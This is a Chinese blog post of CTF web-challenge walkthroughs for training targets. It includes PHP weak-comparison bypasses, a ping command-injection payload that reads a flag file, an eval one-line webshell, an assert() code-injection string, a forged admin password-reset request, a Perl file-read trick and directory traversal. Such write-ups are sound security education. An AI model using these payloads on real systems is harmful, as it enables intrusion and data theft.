“我要的不是在寒冬中送我热咖啡的人,而是下雨天陪我一起吃冰的人,我要的不是守护我的人,而是和我一起冒险的人,我要的不是别人,是你”

我不喜欢永远,因为少了一个人 永远就不成立了 下辈子听起来还不错 像是一个浪漫的约定。

下周国赛…

我也不想学习,也不想刷题,可是,没女朋友你还不滚去学习???

初级

simple_php

打开题目,显示代码如下:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15<?php

show_source(__FILE__);

include("config.php");

$a=@$_GET['a'];

$b=@$_GET['b'];

if($a==0 and $a){

echo $flag1;

}

if(is_numeric($b)){

exit();

}

if($b>1234){

echo $flag2;

}

?>

思路很清晰,要求a==0且a不为false,b不为数字且b>1234

在php中存在弱类型比较问题。

1

2==: 先将字符串类型转化成相同,再比较

===: 先将字符串类型转化成相同,再比较

字符串和数字比较使用==时,字符串会先转换为数字类型再比较

如:

1

2var_dump('a' == 0);//true,这里'a'会被转换数字0

var_dump('123a' == 123);//true,这里'123a'会被转换为123

所以我们可以使用a=a来绕过前半段,使用1235a绕过后半段,所以最终的payload:

当然,is_numeric()函数也存在漏洞,即不能处理数组。

也可构造如下payload:

得到flag

command_execution1

2

3题目描述:小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。

提示: 命令执行

打开后简单查看了功能,一个简单的ping功能,没有任何过滤。

关于管道符

command1 && command2 先执行command1后执行command2

command1 | command2 只执行command2

command1 & command2 先执行command2后执行command1

查找flag:127.0.0.1 | find / -name ‘flag‘

打开flag:127.0.0.1 | cat /home/flag.txt

webshell1

2

3题目描述:小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。

提示: php一句话

打开页面上显示:<?php @eval($_POST[‘shell’]);?>

蚁剑连接,发现flag

weak_auth1

2

3题目描述:小宁写了一个登陆验证页面,随手就设了一个密码。

提示: 弱口令

burpsuite爆破,当密码为123456时得到flag

xff_referer1

2

3题目描述:X老师告诉小宁其实xff和referer是可以伪造的。

提示: xff,referer

要求ip为:123.123.123.123,且来自https://www.google.com

一条curl命令搞定:

curl -X GET -H ‘X-Forwarded-For: 123.123.123.123’ -H ‘Referer: https://www.google.com' -i ‘题目地址’

得到flag

simple_js1

2

3题目描述:小宁发现了一个网页,但却一直输不对密码。

提示: javascript,flag格式为Cyberpeace{}

查看源码,找到js代码:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20function dechiffre(pass_enc){

var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";

var tab = pass_enc.split(',');

var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;

k = j + (l) + (n=0);

n = tab2.length;

for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));

if(i == 5)break;}

for(i = (o=0); i < (k = j = n); i++ ){

o = tab[i-l];

if(i > 5 && i < k-1)

p += String.fromCharCode((o = tab2[i]));

}

p += String.fromCharCode(tab2[17]);

pass = p;return pass;

}

String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));

h = window.prompt('Enter password');

alert( dechiffre(h) );

其中pass为假密码,可以看到无论输入什么都会返回这个假密码,真正的密码在:

1String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));

用python处理一下:

1

2s="\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"

print s

得到55,56,54,79,115,69,114,116,107,49,50

1

2

3s=[55,56,54,79,115,69,114,116,107,49,50]

for i in s:

print(chr(i),end='')

得到786OsErtk12

disabled_button1题目描述:X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢?

“右键”–>”审查元素”–>删除”disabled=”””

点击按钮,得到flag

cookie1

2

3题目描述:X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’

提示: cookie

抓包,查看cookie字段,发现:

访问,得到flag

backup1

2

3题目描述:X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!

提示: 备份文件

打开页面,提示:你知道index.php的备份文件名吗?

盲测:index.php.bak

打开后获得flag

robots1

2

3题目描述:X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。

提示: robots.txt

访问robots.txt文件

访问文件f1ag_1s_h3re.php,得到flag

get_post1

2

3题目描述:X老师告诉小宁同学HTTP通常使用两种请求方法,你知道是哪两种吗?

提示: http请求方法

打开后提示:

请用GET方式提交一个名为a,值为1的变量

请再以POST方式随便提交一个名为b,值为2的变量

view_source1

2

3题目描述:X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。

提示: 源代码

打开题目后,按照提示查看源代码

发现不能右键,使用view-source:查看

发现flag

中级

PHP2

打开后提示:

Can you anthenticate to this website?

扫描目录发现index.phps

内容如下:

1

2

3

4

5

6

7

8

9not allowed!

"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "admin") { echo "

Access granted!

"; echo "

Key: xxxxxxx

"; } ?>

代码逻辑很清晰,get方式获取id并进行url解码后id=admin,即可获得flag,

因为浏览器会自动进行一次解码,所以我们需要进行两次url编码admin,皆可获得flag

PHP

打开页面一片空白,扫描发现index.php~

代码如下:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37<?php

$a=0;

$b=0;

$c=0;

if (isset($_GET['aaa']))

{

$aaa = $_GET['aaa'];

$aaa=="1"?die("Emmm..."):NULL;

switch ($aaa)

{

case 0:

case 1:

$a=1;

break;

}

}

$bbb=(array)json_decode(@$_GET['bbb']);

if(is_array($bbb)){

is_numeric(@$bbb["ccc"])?die("Emmm..."):NULL;

if(@$bbb["ccc"]){

($bbb["ccc"]>2017)?$b=1:NULL;

}

if(is_array(@$bbb["ddd"])){

if(count($bbb["ddd"])!==2 OR !is_array($bbb["ddd"][0])) die("Emmm...");

$eee = array_search("XMAN", $bbb["ddd"]);

$eee===false?die("Emmm..."):NULL;

foreach($bbb["ddd"] as $key=>$val){

$val==="XMAN"?die("Emmm..."):NULL;

}

$c=1;

}

}

if($a && $b && $c){

include "flag.php";

echo $flag;

}

?>

先分析得出flag的条件if($a && $b && $c) 即这三个参数都为1才出flag, 先分析第一个$a, 这里考察了switch…case的弱类型比较, 用$aaa=1a 即可绕过

分析第二个$b, 判断条件是$bbb[“ccc”]>2017 依然是弱类型比较, 让’ccc’ => ‘2018aaa’ 即可, 第三个考察的是array_search函数的绕过,和switch..case一样也是弱类型比较绕过, 最后bbb的值应该是

1

2

3

4$bbb = array(

'ccc' => '2018aaa',

'ddd' => array(array(), 0),

);

用json_encode函数加密一下得到{“ccc”:”2018aaa”,”ddd”:[[],0]}

最终的payload为:

/index.php?aaa=1a&bbb={“ccc”:”2018aaa”,”ddd”:[[],0]}

mfw1本题无题干

打开后是一个php+bootstrap的网站,单击页面链接均为如下形式:

目测为文件包含,尝试部分payload后无果,目录扫描发现.git文件泄露

下载后发现flag.php,打开后显示

1

2

3

4<?php

// TODO

// $FLAG = '';

?>

进行日志回溯,

1

2git log flag.php

git diff d2025440d6ac37d834604aaf08438ba563c54647 flag.php

发现没有任何东西.

没办法,查看index.php

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21<?php

if (isset($_GET['page'])) {

$page = $_GET['page'];

} else {

$page = "home";

}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice

assert("file_exists('$file')") or die("That file doesn't exist!");

?>

require_once $file;

?>

代码逻辑很好理解,首先判断page是否存在,不存在则等于home,存在则拼接文件名,然后使用strpos去除..防止目录遍历,然后判断文件是否存在,存在则包含。

但是这样也造成了代码注入问题,如以下payload:

?page=123%27)%20or%20phpinfo();%23

代码部分就变成了assert(“file_exists(‘123’)or phpinfo();#’)”)

我们再来打开flag文件看看

话说为啥直接打开没有呢?emmmm

i-got-id-2001本题无题干

打开后如下:

简单看了下是一个perl的站,但是自己对perl一窍不通…

file界面是一个文件上传界面,上传任何文件都会打印其内容..

简单学习了下perl的上传,猜测可能后台为:

1

2

3

4

5my $cgi= CGI->new;

if ( $cgi->upload( 'file' ) )

{

my $file= $cgi->param( 'file' );

while ( ) { print "$_"; } }

param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的file变量中。而对于下面的读文件逻辑来说,如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。这样,我们的利用方法就出现了:在正常的上传文件前面加上一个文件上传项ARGV,然后在URL中传入文件路径参数,这样就可以读取任意文件了。

注意ARGV是PERL默认用来接收参数的数组,不管脚本里有没有把它写出来,它始终是存在的。

所以尝试构造

然后使用IFS作为命令分割,搜索得到flag

Easyweb1

打开页面后提示登录操作,页面具有注册、找回密码、登录功能,尝试注册账号。

尝试正常的流程的密码找回,发现流程是通过index.php?module=findpwd&step=2&doSubmit=yes这样的地址进行校验的,于是构造数据包

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15POST /index.php?module=findpwd&step=2&doSubmit=yes HTTP/1.1

Host: 218.2.197.241:21150

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

DNT: 1

Referer: http://218.2.197.241:21150/index.php?module=findpwd&step=1&doSubmit=yes

Cookie: UM_distinctid=16a10b48a055cd-02118f22bc71408-1369634a-1fa400-16a10b48a06588; CNZZDATA80862620=cnzz_eid%3D1748192288-1555056624-%26ntime%3D1555056624; PHPSESSID=kkb9kt15s85avoscipp2ovaej5

X-Forwarded-For: 8.8.8.8, 127.0.0.1

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 28

username=admin&newpwd=123456

成功重置admin的密码

登录后点击任何模块均显示ip不允许.修改ip为127.0.0.1

获得如下提示:

1

盲猜upload

出现上传界面

构造如下数据包,拿到flag

download1

2

3题目描述:简单的目录遍历和任意文件下载,只要在登录之后找到download文件就可以下载任意文件,参数path没有做过滤,../../../../可以遍历目录。

提示: download

打开后是一个登录界面,弱口令admin、admin登录成功

因为题目提示是下载,所以找到下载链接,尝试任意下载..

得到flag

小宁百度了php一句话,赛宁平台web题解(一)相关推荐

  1. 第十四届中国大学生服务外包创新创业大赛百度赛道-智慧医疗赛题baselin

    第十四届中国大学生服务外包创新创业大赛百度赛道-智慧医疗赛题baseline 2 比赛介绍 中国大学生服务外包创新创业大赛是中国高等教育学会全国普通高校学科竞赛排行榜内竞赛,本届赛事,百度飞桨设立了& ...

  2. 微信小程序-百度AI语音识别——(一)

    微信小程序-百度AI语音识别--(一) 一.百度AI 某天闲来无事在CSDN上看到有大神用百度语音识别+图灵机器人做了一个可以语音聊天(调戏人工智障 )的小demo,觉得挺有趣的,也想着实现一下. 百 ...

  3. 微信小程序连接百度地图API实现天气查询

    微信小程序连接百度地图API实现天气查询 一.获取百度地图开放平台天气查询API 二.添加百度天气查询域名 三.微信小程序代码 一.获取百度地图开放平台天气查询API 进入百度地图开放平台.(没有账号 ...

  4. 微信小程序百度地图API移动选点

    微信小程序百度地图API移动选点 本文首发微信小程序百度地图API移动选点 因为业务需要使用百度地图API,参考一位大佬编写腾讯API的思路和方法,改造成百度地图API移动选点. 思路: wxml前端 ...

  5. 小师弟:2022广东省工科赛分享(越障排爆省一,完整项目)

    目录 日常·唠嗑 前言 一.实验效果 二.赛题分析及方案 1.赛题内容: 初赛: 决赛: 2.实施方案: 三.材料选择 四.程序设计 程序思路 PID: 越障部分: 颜色识别部分: 五.竞赛心得 六. ...

  6. 蚂蚁分类信息系统原生微信小程序百度小程序

    蚂蚁分类信息系统原生微信小程序百度小程序,系统采用uniapp开发,小程序接口独立开发,兼容蚂蚁分类信息系统数据库.支持微信支付,百度支付

  7. Mixlab 【AI创造营】 百度飞桨创意赛 参赛项目介绍

    Mixlab [AI创造营] 百度飞桨创意赛 参赛项目介绍 项目名称 个性图腾-灵魂使者 Stand by me 作品简介 Jojo立的具象版,从此路人也能看到灵魂使者了! 不用再担心你熊熊燃烧的中二 ...

  8. uniapp判断当前运行环境 app h5 微信小程序 百度小程序

    hbuilderX最新版本现在已经支持在代码中获取当前所处环境 仅3.4.10+版本以上才支持,如果您的hbuilderX版本不是这个版本的需要先升级一下版本 hbuilderx下载 选择3.4.11 ...

  9. 2020年第十一届蓝桥杯第二场省赛B组C++题解

    2020年第十一届蓝桥杯第二场省赛B组C++题解 题单 第一题 第二题 第三题 第四题 第五题 第六题 第七题 第八题 题单 第一题 小蓝要为一条街的住户制作门牌号. 这条街一共有 2020 位住户, ...

  10. 2021年软件类第十二届蓝桥杯 省赛 python组 F-J题解

    2021年软件类第十二届蓝桥杯 省赛 python组 F-J题解 文章目录 2021年软件类第十二届蓝桥杯 省赛 python组 F-J题解 试题 F:时间显示 题目描述 输入描述 输出描述 输入输出 ...

最新文章

  1. supervisor 守护php,laravel队列之Supervisor守护进程(centos篇)
  2. c++ DirectShow播放任意格式的视频
  3. linux 系统监控、诊断工具之 top 详解
  4. LeetCode 16.01 交换两数
  5. 如何读取指针指向的地址空间呢?
  6. 【PPT分享】阿里巴巴定向广告之新一代Rank技术.pdf(附下载链接)
  7. php获取用户真实IP和防刷机制的实例代码
  8. 在VS2015中使用SDL2.0
  9. bzoj 3394: [Usaco2009 Jan]Best Spot 最佳牧场(floyd)
  10. webpack 初学笔记
  11. Node.js 的原型注入方法
  12. 二级域名共享cookies
  13. ASP.net开发实践系列视频教程(总共53课) 天轰穿新的视频
  14. c语言去尾法和进一法的例子,用“进一法”和“去尾法”解决问题教学案例
  15. Codeforces1380 D. Berserk And Fireball(贪心)
  16. 读研究生的目的之我见
  17. 批量下载/导出excel文件或音频文件(浏览器)
  18. C语言变量的存储类别和生存期
  19. 宋第一状元宰相吕蒙正三赋
  20. 教你从零开始用WebSocket打造一个IM聊天室

热门文章

  1. 基于SpringBoot的QQ邮箱登录注册
  2. Operators(操作符)(创建、转换操作符)
  3. 访问服务器共享文件夹慢,win8系统访问共享时复制文件速度慢的解决方法
  4. Bibtex4Word无法使用IEEEtran等参考文献格式的解决方法
  5. 康托尔定理是怎样证明的?
  6. 计算机不支持win10 1809更新,Win10 1809更新失败解决方法
  7. 实现远程开机(电脑)的各种方法总结
  8. OpenStack报错:MessagingTimeout: Timed out waiting for a reply to message ID
  9. 利用canvas打造一个炫酷的粒子背景
  10. 商业智能在医疗卫生领域的应用